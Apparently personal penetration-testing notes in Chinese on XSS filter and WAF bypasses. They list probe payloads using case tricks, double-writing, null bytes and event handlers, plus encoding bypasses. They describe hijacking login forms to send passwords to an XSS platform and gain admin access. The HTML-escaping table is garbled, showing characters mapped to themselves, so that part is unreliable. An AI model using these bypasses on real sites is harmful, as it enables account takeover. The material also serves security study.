XSS绕过
代码过滤
- html标签转义规则如下:
< 转成 <
> 转成 >
& 转成 &
" 转成 "
’ 转成 ' - javascrpt事件转义规则
\ 转成 \\
/ 转成 \/
; 转成 ;(全角;) - URL属性
如果<script>, <style>, <imt>
等标签的 src 和 href 属性值为动态内容,那么要确保这些url没有执行恶意连接。确保:href 和 src 的值必须以 http://开头,白名单方式;不能有10进制和16进制编码字符
自身标签绕过
<script>alert('xss')</script> //**没有过滤**
<Script>alert('xss')</Script> //**大小写绕过**
<scscriptript>alert('xss')</scscriptript> //**双写绕过**
<sc\x00ript>alert('xss')</sc\x00ript> //**空字节绕过**
' onclick='alert(1) //**闭合绕过(对于html实体输入的和过滤< >)**
其他标签绕过
<a herf="javascript:alert(1)">show</a> //链接标签
<IMG SRC=javascript:alert(‘XSS’)> //图片xss
<body onload=alert(1)> //文档加载完成后
<input type=image src=x:x onerror=alert(1)> //图片等媒体加载失败后
<form oninput=alert(1)><input></form> //表单输入
<textarea autofocus onfocus=alert(1)> // 自动获得焦点的文本区域
<input oncut=alert(1)> //用户剪切元素内容时
总而言之就是html标签的DOM事件后面可以添加js脚本,从而可以插入xss
编码绕过
BASE64,Unicode编码,url编码,ascii码,hex,2,8,16进制
接收参数绕过
http头部 referer User-Agent 发送方式get post 等
httponly
如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击 ,只是无法获取Cookie信息,xss脚本还是会执行。
//JAVAEE
response.setHeader(“Set-Cookie”, “cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly”);
//这样js脚本是获取不到Cookie,而可以用request对象接收
Cookie cookies[]=request.getCookies();
原理是 Cookie都是通过document对象获取的,那HttpOnly就是在设置cookie时接受这样一个参数,在浏览器的document对象中就看不到cookie了。Cookie会被放在浏览器头中发送出去(包括Ajax的时候),对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用JS操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。
我们实现xss的目的是为了获取用户的信息来登录管理员后台 ,而登录后台一般需要Cookie或者账号密码,在设置httponly后获取不了Cookie,我们从账号密码入手。
密码未保存时
在登录界面插入xss表单劫持,把账号密码获取到xss平台
密码保存时
在后台界面插入xss获取浏览器存储的用户账号密码数据
WAF拦截
手工绕过
- 标签语法替换
html的标签 <a href=> - 特殊符号干扰
/ # @ - 提交方式更改
不仅要看waf过滤的方式,还有服务器接收的方式。 - 垃圾数据溢出
- 加解密算法
加密之后在发送,要看服务器能否识别该编码。 - 结合其他漏洞绕过
绕过姿势
自动化xss
xssStrike使用
fuzz
xssfuzzer 平台链接